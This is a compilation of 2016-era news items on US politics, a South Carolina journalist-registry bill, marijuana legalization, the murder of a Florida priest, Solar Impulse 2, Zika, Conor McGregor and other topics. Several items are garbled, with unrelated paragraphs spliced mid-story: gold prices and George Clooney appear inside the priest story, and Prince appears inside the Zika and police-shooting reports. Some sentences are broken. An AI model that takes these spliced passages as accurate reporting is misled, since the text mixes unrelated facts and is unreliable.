As reported by The State, Rep. Mike Pitts, a Republican from Laurens, filed a bill recently in the South Carolina House that would establish a responsible journalism registry that would be managed by the S.C. secretary of state.

A summary of the legislation says the measure would establish requirements for persons before working as a journalist for a media outlet and for media outlets before hiring a journalist. The summary also says the bill would establish registration fees, set fines for non-compliance and establish criminal penalties for violations.

Thats about as nanny state as it gets: fees, fines and penalties.

The State reported further:

A person seeking to register with the state as a journalist would have to submit a criminal record background check and an affidavit from the media outlet attesting to the applicants journalistic competence.

The full paragraph of the bill, H. 4102, says, A person seeking to register shall provide all information required by the office including, but not limited to, a criminal record background check, an affidavit from the media outlet attesting to the applicants journalistic competence, and an application fee in an amount determined by the office.

Thankfully, not everyone in the state is in agreement that the bill is a good idea. You can include Bill Rogers, executive director of the S.C. Press Association (The State is a member of that organization), who said the registry proposal is ridiculous and totally unconstitutional.

Governments  state or federal  cannot require journalists to register, said Rogers. He cited the First Amendments guarantee of freedom of the press as evidence of that.

Pitts told The Post and Courier that while his bill is not a reaction to any particular news story, it is intended instead to stimulate a discussion over how he believes gun issues are being reported.

It strikes me as ironic that the first question is constitutionality from a press that has no problem demonizing firearms, Pitts said. With this statement Im talking primarily about printed press and TV. The TV stations, the six oclock news and the printed press has no qualms demonizing gun owners and gun ownership.

The measure states that persons are not competent to be journalists in the state if, within three years of applying for the registry, they have been convicted of libel, slander, or invasion of privacy; or a felony if the underlying offense was committed to collect, write, or distribute news or other current information for a media outlet.

Also, a candidate for registry would be denied if the person has demonstrated a reckless disregard of the basic codes and canons of professional journalism associations, including a disregard of truth, accuracy, objectivity, impartiality, fairness, and public accountability, as applicable to the acquisition of newsworthy information and its subsequent dissemination to the public.

The assumption is that the secretary of state gets to make the determination, and that such determinations are likely to be arbitrary (I was objective! No you werent!).

While there isnt much chance a law like this passes, even if it does it is highly unlikely it would withstand judicial scrutiny. That said, its hard to imagine such a law would even be proposed by a member of a political party that is supposedly opposed, ideologically, to the overarching control of nanny government.

One other point: In this day and age, the Internet has created a massive army of citizen journalists who arent necessarily educated as journalists or who dont practice traditional journalism, but who nevertheless report news and events as they happen. A bill like this would kill citizen journalism in South Carolina.

Sources:

The State

The Daily Sheeple

Submit a correction >>
What we can expect to see in the marijuana world moving forward

Much has been accomplished in the last few years regarding legalizing marijuana for medical and recreational use. In many places, its a non-issue, with cops in some countries turning a blind eye or even joining in. Smuggling of marijuana and the illegal cannabis trade has already substantially dropped since legalization, thus reducing crime and the resultant law enforcement costs. People are working in the marijuana industry, filling the jobs it has created, and sick people are getting medical help from medical marijuana. What more can we expect this year?

In the US, twenty-three states allow some form of legal cannabis and four states have legalized cannabis for recreational use. Uruguay led the world in legalizing cannabis nationwide, and other countries around the world are allowing small amounts of marijuana to be in ones possession for personal use. Chile recently had its first harvest of marijuana for medical purposes, while Colombias president signed a decree to legalize the cultivation and sale of medical marijuana.

What does 2016 hold for marijuana?

It seems inevitable that we will eventually see marijuana legalization via legislative action in the US, and 2016 may just be the year this will happen. Perhaps it is not far-fetched to suppose that legalized medical marijuana that is not restricted to a CBD-only version of medical marijuana will be on the agenda for some legislatures.

Senator Bernie Sanders announced last year that he would be proposing new legislation to remove cannabis from the list of controlled substances. The bill wouldnt lower marijuana from Schedule 1 to Schedule 2; it would de-schedule marijuana completely. Such a move would remove marijuana prohibition at the federal level and allow states to decide the issue on their own.

Marijuana businesses may see substantial economic benefits if marijuana is de-scheduled. Entrepreneurs would no longer have to struggle to get a bank loan or a mortgage. Given marijuanas status as a dangerous drug, current regulations cripple the marijuana industry, limiting growth and creating serious safety and security concerns associated with a cash-heavy business model.

Along with the good comes the bad. We can expect to see greed and ambition filter into the marijuana industry. In the words of reform activist Ethan Nadelmann, founder of the Drug Policy Alliance, Were entering a new era of marijuana law reform in which the influence of funders and organizations driven primarily by concerns for civil rights and personal liberties, and not by any financial interest in legalizing marijuana, will be superseded by people and corporations driven largely by their pursuit of legal profits. Hopefully, if de-scheduling happens, post-prohibition laws will prevent this corporate drive for profits from undermining newly secured liberties.

Around the world, we can expect to see activists continuing to fight in order to get marijuana legalized. In South Africa, for example, activists have been preparing for the Trial of the Cannabis Plant, where the laws restricting the cultivation and use of marijuana will be challenged. If successful in getting these laws changed, the activists intend to take the case all the way to the International Court of Human Rights, so that marijuana never has to be put on trial again, anywhere in the world.

Hopefully, more success stories when it comes to medical marijuana will come to light and more research studies will be conducted into the potential of medical marijuana to cure or at least add therapeutic value to patients suffering from a variety of illnesses. Patients may be able to wean themselves off pharmaceutical drugs with the help of marijuana in the years ahead. For example, The Journal of the American Medical Association published a report showing a 25% drop in opioid drug overdose deaths in states where the citizens have access to marijuana.

Hopefully we will continue to see more and more benefits of medical marijuana and people will no longer be punished for recreational use. Indeed, 2016 looks like a promising year for marijuana.

Sources:

NaturalNews.com

TheWeedBlog.com

CNN.com

Science.NaturalNews.com

Submit a correction >>
NASA has several projects aimed at transforming aviation.

 Thrust 1  Safe, Efficient Growth in Global Operations

 Transition from Terminal Area optimization to Gate-to Gate TBO

 Thrust 2  Innovation in Commercial Supersonic Aircraft

 Initiate Low Boom Flight Demonstrator Project

 Thrust 3  Ultra Efficient Commercial Vehicles

 Initiate planning for Flight Demonstration of N+2 / N+3 configurations and technologies

 Develop plans for research and ground demonstration of small core engine technologies

 Develop plans for research and technology development for flex fuel combustors that operate at higher alternative fuel fractions. In addition, planning should anticipate supporting the community with additional alternative fuel characterization tests

 Develop plans to fully implement CFD 2030

 Thrust 4  Transition to Low Carbon Propulsion

 Develop baseline plans for hybrid-electric propulsion research and development, consistent with Thrust 4 roadmapping, including technical challenges that utilize research results from small-scale demos, such as SCEPTOR

 Thrust 5  Real-Time System-Wide Safety Assurance

 Develop a comprehensive assessment of ARMDs Verification and Validation (V and V) efforts

 Develop initial, focused TCs and funding requirements to implement the Thrust 5 roadmap

 Thrust 6  Assured Autonomy for Aviation Transformation

 Develop a cohesive framework and strategy for achieving full integration of UAS into the NAS (AOSP and IASP)

 Develop initial, focused TCs and funding requirements (beyond current funded UAS TCs) to implement the Thrust 6 roadmap

 NASA will also establish the Hypersonics Technology Project. NASA will balance investments that support and leverage the work of the Department of Defense (DoD) with investments in fundamental hypersonics research.

 The project objective is to advance and utilize analytical tools, test techniques and capabilities, and critical technologies to ensure U.S. supremacy in hypersonics for future national needs.

 The project will work with the DoD to develop a National Hypersonic Strategy (requested by OMB and OSTP). NASAs investment will be informed by and aligned to the National Strategy.



SOURCE  NASA
Johns County and Jacksonville deputies to the place where they could find the body of Father Rene Robert, who had been missing for more than a week.

Steven James Murray, 28, of Jacksonville, faces a murder charge in Georgia in connection to Robert's death.

Robert had dedicated his life to working with prisoners and society's downtrodden, a calling police said put him in contact with his killer.

Police say Robert was helping Murray, who has an extensive criminal history, and had recently been released from jail.

"There are more details through interviews that will hopefully clarify some of those issues", Dutton said.

Politics is Too Well Funded: George Clooney

Penn State College Democrats Communications Director Luis Rolfo said the College Democrats is excited for Sanders' visit. About 100 Sanders' supporters protested outside the fundraiser, even throwing actual money at Clinton's motorcade.

A man facing a murder charge in the disappearance of a Florida priest said he "lost control" and asked for forgiveness as he was led from a courthouse in east Georgia. "And if it wasn't for the sheriff's department, all the agencies, they wouldn't have found my brother, and I thank God that they did, so we can take him home".

The body, believed to Rev. Robert, was found in a wooded area in east Georgia on Monday. They were bringing Steven Murray back to Georgia because they received a tip on the location of Father Robert's body.

Investigators believe Robert was killed Sunday, April 10 in the evening, Shoar said.

Murray had several guns, including a double-barrel shotgun, a pump-action rifle and several BB guns, according to the arrest warrant from SC.

A Sheriff's Office incident report indicated the agency has charged Murray with possession of a firearm by a convicted violent felon and receiving stolen goods less than $10,000.

Gold Retains Losses, Silver Below 11-Month Top as Dollar Firms

The Fed initially planned four rate hikes in 2016 but trimmed the expectation to only two rate increases for the year. Among other precious metals, spot platinum was up 1.1% at $1,026.51 an ounce and spot palladium rose 2% to $605.47.

Roberts was first reported missing early last week after he uncharacteristically missed a church appointment.

Authorities believe the suspect kidnapped the priest, took him to Georgia in his own vehicle and killed him there, but the motive for the killing remains unclear.

According to authorities the priest had been trying to help Murray. Shoar added that Murray will be charged with first-degree murder in Georgia "in the coming days".

Though an autopsy performed Wednesday indicated "the manner of death was homicide and cause of death was multiple gunshot wounds", the condition of Robert's body was so bad that it was only positively identified as the priest's today after dental records sent from Florida showed a match, Dutton told ABC News today.

Among those he ministered to was Shoar, a Catholic, who said he and his wife knew Father Robert personally. He disappeared from St. Augustine, Florida last week where he was living.

Carnival: Cuba cruise will sail with Cuban-born passengers

Carnival Corporation's Fathom brand ship will cruise to Cuba May 1 as planned and Cuban-Americans will be welcome on board. That price omits Cuba's visas, taxes, fees and port expenses, which the company now estimates at $208 per person.

His body was found 260 miles away in woodland near Waynesboro, Georgia, on Monday night.
Solar Impulse 2 has taken off from Hawaii on the ninth leg of its record-breaking solar-powered journey around the world.

Last July, the long trip from Nagoya, Japan to Hawaii, taking 5 days and 5 nights took its toll on the 100% solar powered aircraft.

(AP Photo/Marco Garcia). A Hawaiian hula dancer performs for the Solar Impulse 2 pilots Andre Borschberg, left and Bertrand Piccard, center, during a departure ceremony at the Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii.

At the 2016 World Economic Forum in Davos, Switzerland, pilots Andre Borschberg and Bertrand Piccard speak about the future of clean technology a...

After some uncertainty about winds, the plane took off from Hawaii and was on course to land in Mountain View, California, in about three days.

GOP chief dismisses Donald Trump's 'hyperbole' after threat of a 'rough July'

The Rubio delegates may be free to vote for someone else, depending on what rules the RNC establishes heading into the convention. Michael Caputo, a GOP operative working for Trump's NY campaign, said Carson's move is "great news for the Trump effort".

The Swiss-made Solar Impulse 2 airplane has left the hangar and is taxiing to the runway as it prepares for its journey from Hawaii to California.

The team was delayed in Asia, as well. As a result, the Solar Impulse team took time out to fix the batteries. They expect the winds to pick up slightly as the sun comes up.

Piccard's co-pilot Andre Borschberg, who flew the leg from Japan to Hawaii, told Piccard he greatly admires his dedication and strength.

He said the plane "represents what we could do on the ground in our communities, in our cities".

The trip to Mountain View has an extension of 2,300 miles and Piccard commented that it is ideal that the airship lands in the territory of Silicon Valley, as it is a place of pioneering spirit and revolutionary technology. Last week, Jost said the plane would likely land at Phoenix Goodyear Airport instead of Sky Harbor if it does stop in Arizona. It then managed to safely arrive in Oman, Myanmar, China and Japan, arriving it Hawaii on July.

Donald Trump Campaign In Disarray As Ted Cruz Maneuvers For More Delegates

He has to maximize victories on April 19 and April 26 in the Northeast; win in IN on May 3, and win big on June 7 in California. Trump would need to win almost 60 percent of all the remaining delegates to clinch the nomination before the convention.

That trans-Pacific leg was the riskiest part of the plane's global travels so far, as there was nowhere for it to land in an emergency.

While there are other solar-powered aircrafts in the works, Solar Impulse 2's round-the-world flight will be a remarkable feat for renewable energy technology if it reaches Abu Dhabi. The main wing, fuselage and horizontal stabilizer are covered with 17,248 solar cells powering four lithium batteries, which in turn power four motors. For its size, Solar Impulse 2 is quite light, as it weighs 5-thousand pounds, just like a small truck.

Solar Impulse 2 flies exclusively on energy from the sun during the day and stores reserve supplies for the morning and evening hours in batteries which have to be 100-percent charged to make it throughout the night.

This story has been corrected to reflect that the plane took off from Abu Dhabi in March 2015, not this March.
By now everyone has heard the news that the Conor McGregor vs. Nate Diaz rematch at UFC 200 is off. The question is, what will the new UFC 200 main event look like now? "You have to do it".

With the organization planning to bring the key principals for the July 9th show in for a press conference and photoshoot, McGregor allegedly balked at the notion of leaving Iceland, where he is training with his team, and the UFC chose to remove him from the bout as a result.

The 27-year-old McGregor tweeted, "I have made a decision to retire young". Diaz responded to McGregor's tweet saying that his work here is done and that he's retiring too. To add more fuel to the fire, Nate Diaz followed McGregor in declaring his retirement plans on Twitter as well.

Anti-Trump ads urge IN voters to pick Cruz

But raw vote totals didn't tell the whole story, thanks to New York's complex formula for allocating GOP delegates. To hell with this", said Trump, who has 845 delegates to his kitty.

It seemed clear, even with his loss to Diaz, that McGregor was going to keep pushing against the UFC's structure.

Extraordinarily, Diaz also then announced he was also giving up the sport. He became featherweight champion in December when he knocked out undefeated champion Jose Aldo in just 13 seconds.

Have we seen the last of one of the UFC's most iconic champions?

More rain drenches Houston area, where floods have killed eight

Harris County sheriff's deputies have saved several horses from drowning as a Houston-area stable was inundated by floodwaters. Some suburban school districts remained closed on Wednesday. "We can't solve this flood problem in Houston ", Bedient said.

White said McGregor is training in Iceland and did not want to come to Las Vegas to shoot promotional spots for the card.

It looks like Conor McGregor may not have been trolling after all...

According to White, the Irishman was unwilling to fly to Las Vegas and participate in mandatory promotional activities. It's not like McGregor to back out of a fight.

Trump, Clinton have big leads in Pennsylvania

The primary season wraps up June 7 with California (172 delegates alone), New Jersey, Montana and New Mexico voting then. Bernie Sanders spent even more - three times what Trump spent and almost four times what Cruz spent for the same period.

After hours of speculation over Conor McGregor's retirement announcement on Twitter, UFC boss Dana White has come out and confirmed the seriousness of the issue. "I don't know." White said in an interview with ESPN.
The accolades in the black community were later followed by harsh criticism from two of New York City's powerful police unions who claimed that Thompson was "criminalizing" a tragic accident and that this would have a "chilling" effect on policing in New York.

Liang, 28, recalled his discomfort that night as he awaited his sentence Tuesday from a Brooklyn judge in the 2014 shooting death of Akai Gurley. He suggested that Liang receive 500 hours of community service on top of house arrest.

But Brooklyn state Supreme Court Justice Danny Chun reduced the offense Tuesday to criminally negligent homicide, which carries up to four years in prison.

"The evidence showed that it was a quick reaction to perhaps a sound, which in my opinion only amounts to failing to perceive a unjustifiable risk."

RIP our Purple One: Prince dead at age 57

Prince remained outspoken until the end, recording Baltimore, a tribute to Freddie Gray, a victim of police brutality, in 2015. He was widely regarded as one of the most inventive musicians of his era and many of his songs are seen as classics.

[Photo by Byron Smith-Pool/Getty Images]Brooklyn District Attorney Ken Thompson has been most vocal about his opposition to reduce the charges against Peter Liang and to sentence the duly convicted killer to no jail time for shooting and taking the life of an unarmed citizen.

Last week, Chun rejected a motion from Liang's lawyers that the conviction be tossed on grounds that a juror had lied to claim a spot on the panel. A jury had convicted him in February of a manslaughter charge carrying up to 15 years in prison. "This felony conviction without appropriate consequences makes clear that police are treated as if they are above the law, allowing Liang to walk out of court home to his family while my son will never be able to do the same".

"Judge, my life is forever changed", he said. I hope you will give me a chance to rebuild it. I have a loving wife and family who have supported me through the darkest hour of my life. That's because Liang's trial revealed that neither the officer nor his partner, Shaun Landau, administered CPR to Gurley - a task that was instead left to the victim's untrained girlfriend, Melissa Butler.

"He said how sorry he was that she had lost a loved one", attorney Paul Shechtman said of Liang. "The sentencing sends the message that it is okay to kill innocent and precious lives, as long as it is done by a police officer", the joint statement read.

Prince songs surge into iTunes' Top 10 after pop star's death

Prince was also reportedly upset that news leaked of him having been sick, as he felt that fans would fear him dead or dying. She spent $173 on Prince-related items at the store, including a vinyl edition of Prince's iconic album "Purple Rain ".

And, the judge said, "given the defendant's background and how remorseful he is, it would not be necessary to incarcerate the defendant to have a just sentence in this case". The officer was patrolling the darkened stairs inside a public housing building in Brooklyn on November 20, 2014, when he fired a single shot. Gurley, also 28, was walking down to the lobby and was struck by the bullet that had ricocheted.

Supporters of the Gurley family are upset by the court's decision not to hold the police accountable for this unarmed Black man's death.

Gurley's domestic partner disagrees, and has refused to accept Peter Liang's apology over the shooting death of her child's father, despite the fact that he will face no jail time for his crime.
Before the summit, Obama met with Saudi Arabia's King Salman bin Abdulaziz Al Saud on Wednesday, kicking off a trip aimed to mend increasingly strained ties with the long-time Middle Eastern ally.

US policy toward Shiite-governed Iran is a source of tension with Washington's longtime ally, Sunni Saudi Arabia.

The United States will deter and confront aggression against Gulf Arab monarchies, which continue to have concerns about threats from Iran, President Barack Obama said after meeting their leaders to iron out strains in their alliance. Yet he failed to win the commitments he sought to boost economic aid to Iraq. Carter is in Saudi Arabia to participate in the U.S. Gulf Cooperation Council defense meeting.

On the situation in Syria, Obama said the ceasefire was under "tremendous strain".

Saudi Arabia and its Gulf neighbours accuse Iran of widespread interference throughout the region, where they support opposite sides in conflicts in Yemen and Syria. Obama is also due to visit the trade fair in Hannover.

Obama say there's a need for "consistent, institutionalized communication" with countries in the region because "the possibilities of misunderstanding increase when there's so much activity taking place". Thanking His Majesty and Saudi Arabia for their hospitality and leadership in hosting the April 21 U.S.-Gulf Cooperation Council (GCC) Summit, the President underscored the importance of accelerating the campaign against ISIL and welcomed Saudi Arabia's important role in the Coalition. Wednesday, the arrival of Obama in Riyadh was not broadcast live andKing Salman had not met Obama at the airport.

Warriors look to go up 3-0 against Houston

The Rockets have been outclassed in the first two matches, and it doesn't look like changing even if Curry sits out again. Williams, who took pain-killing medicine to help him play in Game Two, said he is hopeful he can feature on Thursday.

Obama's warning about Iraq appeared meant to pressure its leaders to put internal disputes aside so that a stable government can form.

"The GCC countries have extensively co-operated with us on counter terrorism, curbing the financing of terrorist activities", Mr Obama said after the summit.

"It may be breaking down", Obama said.

Reid said he's spoken to the White House and "they don't particularly like it. But that's OK", he said, adding, "I think that we should move forward on this legislation".

Obama praised Iraqi Prime Minister Haider al-Abadi as a "good partner" for the US but and said he was concerned about his grip on power.

However, no major announcements came out of the summit as Obama is already a lame-duck president, said Saeed al-Lawindi, political researcher and expert of worldwide relations at Cairo-based Al-Ahram Centre for Political and Strategic Studies.

Kim Kardashian reveals North flushed Kanye West's phone down the toilet

But there's also more to it than that: "I am all about the storyline", says West. "I like when they have good storylines". Now the Kardashian-Wests are in their own home - which he hopes to fill with more kids, though Kim is not convinced.

"They've got a lot on their plate", Obama said. "Now is not the time for government gridlock or bickering".

In recent the months the ties between the U.S. and Saudi Arabia have been tense over the a bill proposed in U.S. Congress to lift Riyadh's immunity if any Saudi officials are found to have been involved in the September 11, 2001, attacks.

The White House said it is opposed to the bill because it could expose Americans overseas to legal risk and could damage the USA relationship with the Saudi government. Gulf states are wary of the nuclear deal made with Tehran past year and are skeptical of Obama's willingness to negotiate with the Shiite nation.

The US president insisted: "None of our nations have an interest in conflict with Iran". "The fact of the matter is that friendship and cooperation between the USA and the Gulf countries has been consistent for decades".

On Tuesday, the world's leading oil producers failed to reach an agreement on capping production, only because Saudi Arabia changed its position last minute.
The U.S. Centers for Disease Control and Prevention (CDC) is working on multiple fronts to combat the virus, including development of a vaccine and ways to control mosquito populations. He said the conclusion, reached after evaluating "mounting evidence from many studies", signifies "an unprecedented association" in medicine.

"To tell someone not to travel within the continental United States is not true", he said, in response to reports that some doctors may be telling pregnant women not to go to places where mosquitoes are prevalent.

At least 358 Americans, including 31 pregnant women, have developed Zika by traveling to affected countries such as Brazil, according to the CDC.

Sheriff: Prince found unresponsive in elevator, CPR failed

Prince was already a star by the late 1970s thanks to a string of highly innovative and highly controversial albums. Known for using sexuality and his extensive musical acumen, Prince dazzled crowds around the world with live shows.

Due to the role it has played with similar viruses, like Ebola, RTI researchers noted that little research has been done on the possibility that the Zika virus could also be spread through aerosol transmission. There are also increased cases of other neurological ailments in affected areas that could be eventually linked to Zika, such as the paralyzing Guillain-Barre syndrome. Common Zika symptoms include red eyes, rash and joint pain, according to the CDC. In February, Richard Duhrkopf, associate professor of biology at Baylor University, said there is no question that the virus will spread in the United States this summer.

"We are doing all we can to target the mosquito that could transmit Zika here in the city, and building the capacity to respond to every possible scenario, no matter how unlikely", de Blasio said.

Dr. Jones is most concerned about women who are pregnant or are planning to get pregnant.

US Elections: Donald Trump aims to secure 1400 delegates before July convention

How these delegates are selected and whether a primary or caucus system is a better method for doing so is a separate issue. The relative quietness of the Democratic primary stands in contrast to the GOP race, which is picking up pace in Indiana.

Zika virus is transmitted to people primarily through the bite of an infected Aedes aegypti mosquito.

"Sexual transmission through both vaginal and anal sex is an emerging mode of Zika virus infection that might contribute to more illness than was anticipated when the outbreak was first recognized", the CDC wrote in its Morbidity and Mortality Weekly Report released last Friday. Babies born with microcephaly have small heads and brains, which often leads to lifelong cognitive impairment and disability.

Gov. Terry McAuliffe's Zika Task Force, which consists of various state agencies, is working to create a Zika Action Plan should a Virginia resident become infected by a local mosquito. All were travel-associated, 31 cases were pregnant women and seven were sexually transmitted.

Flint mayor makes case for water crisis funding

Despite complaints from residents, nothing was done about the water until 2015, but by then, the damage was already done. Adler said Snyder had extended an invitation to Cummings and "still open to meeting with the Congressman in Flint ".

US health officials say there's no longer any doubt that the Zika virus causes severe birth defects.
Weather Alert

...WIND ADVISORY REMAINS IN EFFECT UNTIL 2 AM CDT MONDAY... * WHAT...South winds 20 to 35 mph with gusts up to 50 mph. * WHERE...Portions of southwest and west central Iowa and east central, northeast and southeast Nebraska. * WHEN...Until 2 AM CDT Monday. * IMPACTS...Gusty winds could blow around unsecured objects. Tree limbs could be blown down and a few power outages may result. Strong crosswinds will be possible on east west highways. Areas of blowing dust could impact travel as well. PRECAUTIONARY/PREPAREDNESS ACTIONS... Use extra caution when driving, especially if operating a high profile vehicle. Secure outdoor objects. &&
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Morocco has called on the international community to pool efforts to implement all the provisions of the Paris Agreement on climate change and expressed hope for increased global awareness as to the need to combat the phenomenon.

The call was launched by King Mohammed VI in a speech delivered at the signing ceremony of the Paris climate agreement, hosted Friday at the United Nations Headquarters in New York.

As we prepare for the COP22, which Morocco will have the honor of hosting in Marrakech, our collective efforts should focus on implementing the provisions of this comprehensive, balanced and equitable Agreement effectively, said the king in the speech that was read out on his behalf by his youngest sister Princess Lalla Hasnaa, who is the chairwoman of the Mohammed VI Foundation for the Protection of the Environment.

At the COP21, we managed to lay down the groundwork for a new, ambitious, solidarity-based climate order. The 2015 Paris Climate Conference thus paved the way for the low-carbon era, the sovereign underlined.

King Mohammed VI who deemed that the negotiations on the implementation of the Paris Agreement reflect and attest to the solidarity and spirit of responsibility shown by the international community, urged all parties to turn the pledges made in Paris into specific objectives, effective mechanisms and concrete projects so that our ambitions may become a tangible reality, for the sake of our planet and for the benefit of future generations.

He also expressed hope that the COP22 to be hosted by Morocco next November 7 to 18 will be an opportunity to raise global awareness about the need for resolute, collective action to combat climate change.

He equally called for the adoption of procedures and mechanisms for the effective implementation of the Paris Agreement, including an action plan for the pre-2020 period for mitigation, adaptation, financing, capacity building, transparency and the transfer of technology, particularly for the benefit of developing countries and the least developed countries in Africa and Latin America, as well as Small Island Developing States.

It is, therefore, important to agree on a clear, predictable, concrete roadmap to raise the funds needed to finance projects and thus foster the desired change in private investment patterns, he said, insisting that in order to achieve the desired energy transition, it is important to make sure countries benefit from the full range of incentives.

After he underlined the need to impose carbon pricing and cover all key sectors, including insurance and maritime and air transport, King Mohammed VI said solutions must be found to environmental trade barriers, and developing countries should be supported in their endeavors to diversify their economies and have access to patented technology on preferential terms.

The king pledged that his country which is going to be among the first nations to sign the historic Paris Agreement on climate change will take the necessary measures to ratify the text as soon as possible.

He recalled that Morocco, to honor its climate change commitments, has initiated an integrated national policy to ensure environmental protection, tackle the effects of climate change and cut greenhouse gas (GHG) emissions by 32% by the year 2030. Part of this policy, Morocco adopted an array of initiatives to promote the green economy; enacted the National Environment Charter and the energy efficiency strategy and liberalized the renewable energy sector.

As a result, my country has set even more ambitious goals for itself; we seek to meet 52% of our energy needs from renewable sources by 2030 thanks to major projects, particularly solar and wind farms, said the Sovereign who underlined his countrys willingness to share its know-how in this area through innovative partnerships, particularly with African and Middle-East countries.
Cruz and Kasich are already vetting running-mate possibilities, and Trump seems to be looking to cut a deal. Photo: Getty Images

Just when you thought the Republican presidential nominating picture couldnt get much murkier, heres a new variable: Who will be the running mate for the yet-to-be-identified nominee? The Washington Posts Robert Costa and Philip Rucker have been hanging around the Republican National Committees spring meeting in Florida and report that veep speculation is all the rage in the mix of party hacks and candidate operatives circling each other at the beachfront confab.

It seems that Ted Cruz and John Kasich have already set up vetting operations for possible running mates (though Kasich adviser Charlie Black ruefully admits it may be difficult to get people to submit to a vet from a presidential candidate they dont view as viable), while Team Trump purports to be focused solely on winning the main prize. Still, the possibility that the veep could be a key poker chip in winning the main prize is part of the speculation at the RNC meeting. After all, one very feasible scenario is for Trump to finish the primaries tantalizingly close to the 1,237 delegates he needs. Might making someone who commands delegates his running mate put him over the top?

Trouble is the two people who fit that description are John Kasich and Marco Rubio. Kasichs got his own fish to fry, and has repeatedly and emphatically disclaimed any interest in the veep gig. Rubio is by all accounts near the beating heart of the #NeverTrump movement, and is in fact fighting to hold on to his delegates so as to deny them to Trump and deliver them elsewhere down the road.

Ted Cruz might also be tempted to use the second spot on the ticket as a deal lubricator in (assuming Trump doesnt win on the first ballot) his drive for the nomination on the second or third ballot in Cleveland. His choice could either represent a hand outstretched to Trumpland, via the small list of elected officials who have endorsed the mogul, or a token of reconciliation with the Republican Establishment to convince it not to block him and deadlock the convention into a megaballot nightmare.

In any event, the potential strategic importance of the veep offer points in two very different directions, at least for Trump and Cruz: either a Reagan-esque pre-convention announcement aimed at changing the dynamics long before the first delegate arrives in Cleveland, or a hasty choice made on the fly in some late-night hotel stairwell like it was allegedly done back in the day. The latter approach, which may also be the only avenue available to some theoretical dark horse nominated on the umpteenth ballot, will conjure up the ghosts of the two great cautionary tales about hasty vetting: Tom Eagleton, whose DUIs and electro-shock treatments were unknown to the McGovern campaign in 1972, and Sarah Palin, the high risk, high reward choice of John McCain in 2008. The guy who placed that label on Palin, McCain vetter A.B. Culvahouse, summed up the dilemma to Costa and Rucker as follows:

The hardest thing about the vetting process is the tension between a time-consuming process and late-emerging political considerations where, for example, an adviser or pollster says if you pick this individual then you can win this state, Culvahouse said.

There are some guidelines you can anticipate. All other things being equal, Trump will likely pick someone with significant elected-official experience to reduce the terror associated with his nomination in Establishment circles. Cruz might do so as well for the same reasons. Everyone will be aware that a woman on the ticket would be helpful, though several of the more camera-ready possibilities, like Carly Fiorina and Joni Ernst, dont exactly have impressive resumes.

One final factor that Costa and Rucker only allude to briefly is that the delegates formally nominating the veep will not be bound to pay attention to the presidential nominees decisions. If, say, Trump wins the nomination on the first ballot with the bound votes of hundreds of delegates who hate the very sight of him, can he rely on these newly liberated prisoners to ratify his choice of a running mate? Its a very good question that apparently has occurred to Reince Priebus:

RNC Chairman Reince Priebus said in an interview that an open convention could affect the timing of a vice-presidential nomination. He said he would be open to delaying formal proceedings to afford the presidential nominee time to negotiate or make a decision. Even with the prospect of a somewhat chaotic convention, Priebus said he doubted that the choice would be left to the delegates. I think that the nominee will choose the vice president, Priebus said. The delegates will probably honor that choice.

Easy for you to say, Reince.

Its unclear whether delaying formal proceedings means an hour or a week, but without question the risk of a delegate revolt could be higher than at any point since 186 delegates voted for George Romney as veep in 1968 out of what turned out to be a prescient distaste for Spiro Agnew. Then theres the ultimate nuclear option of just letting the delegates make the veep choice without a presidential thumb on the scales. Thats happened exactly once in living memory: in 1956, when Democratic nominee Adlai Stevenson invited delegates to pick a running mate for him. In the end, Estes Kefauver edged out John F. Kennedy thanks to second-ballot support from Al Gore Sr. You can expect that and other lessons from history to be thoroughly explored by the time the deal goes down in Cleveland and Republicans form a ticket.
A Democratic Senate primary in which the president and vice-president have become involved revolves around grievances from 2010. Photo: Jason Cohn For The Washington Post via Getty Images, Bill Clark/CQ Roll Call

Some Democratic Senate primaries have a clear ideological dimension, such as the close Maryland battle between House colleagues Chris Van Hollen (backed by the entire party Establishment) and Donna Edwards (a self-conscious progressive), or Californias contest involving veteran centrist Loretta Sanchez and rising progressive star Kamala Harris.

But in Pennsylvanias increasingly brutal Senate primary, which concludes next Tuesday, the fight is less about ideology than about personality  a battle for the body, not the soul. Former representative and 2010 nominee Joe Sestak wants a rematch with Pat Toomey, and after looking high and low for an alternative, party elites in Pennsylvania and Washington have united behind Katie McGinty (recently chief of staff to governor Tom Wolf, and best known in D.C. as a high-ranking environmental official in the Clinton administration). Thanks in part to DSCC money (roughly a million smackers) and in part to endorsements from the president and vice-president, McGinty has a decent chance of knocking off Sestak (a late poll from Monmouth has the race tied, though a contemporaneous Franklin & Marshall survey has Sestak up by nine points).

What you generally hear about Sestak from Establishment-oriented Democrats is that he blew a winnable race against Toomey in 2010 because he wouldnt take professional advice, and he hasnt changed his habits since then, and so would probably screw it all up again. (An additional factor is that he beat Republican-turned-Democrat Arlen Specter in the primary, which took out a positive role model for future party-switchers). In this Year of the Outsider, Sestaks playing his independence for all its worth, and its probably earned him some lefty support on enemy-of-our-enemy grounds even though its not clear hes more liberal than McGinty, whose mentor is Al Gore (another supporter in the primary). McGinty is about as un-mavericky as you can get, which warms the cockles of many a consultants heart but embitters Sestaks people.

Toomeys enjoying the show and is currently leading both Democrats by similar high-single-digit margins. But with Donald Trump or Ted Cruz heading the ticket, Toomey might be swimming against undercurrents too powerful to resist. Whoever wins Pennsylvanias match of old grudges should be a modest favorite for November so long as the intra-party wounds are properly treated.
The Potty Decides. Photo: Chip Somodevilla/2016 Getty Images

Call Ted Cruz old-fashioned, but he just doesnt think we should legalize child molestation for the sake of political correctness.

That was the essence of the Texas senators rebuttal to Donald Trump on Thursday, after the GOP front-runner declared his opposition to North Carolinas bathroom bill. The controversial law allows businesses in the state to prohibit transgender individuals from using the restrooms of their choice.

There have been very few complaints the way it is. People go, they use the bathroom that they feel is appropriate, Trump told NBCs Today. There has been so little trouble. And the problem with what happened in North Carolina is the strife and the economic punishment theyre taking.

Cruz built his political brand on being a reactionarys reactionary. But its been difficult to get to the right of the GOPs 2016 primary field, even for a Muslim-bashing, dildo-hating, anarcho-capitalist of Cruzs stature. The Texas senator has spent most of the race running two steps behind Trumps latest innovation in right-wing demagoguery. While he has painted himself as the fields only true conservative, Cruz has been forced to build that case by attacking Trumps past positions rather than his present ones. Until now.

Donald Trump is no different from politically correct leftist elites. Today, he joined them in calling for grown men to be allowed to use little girls public restrooms. As the dad of young daughters, I dread what this will mean for our daughters  and for our sisters and our wives. It is a reckless policy that will endanger our loved ones, Cruz said on Glenn Becks radio show. His campaign later adapted his remarks into an official statement.

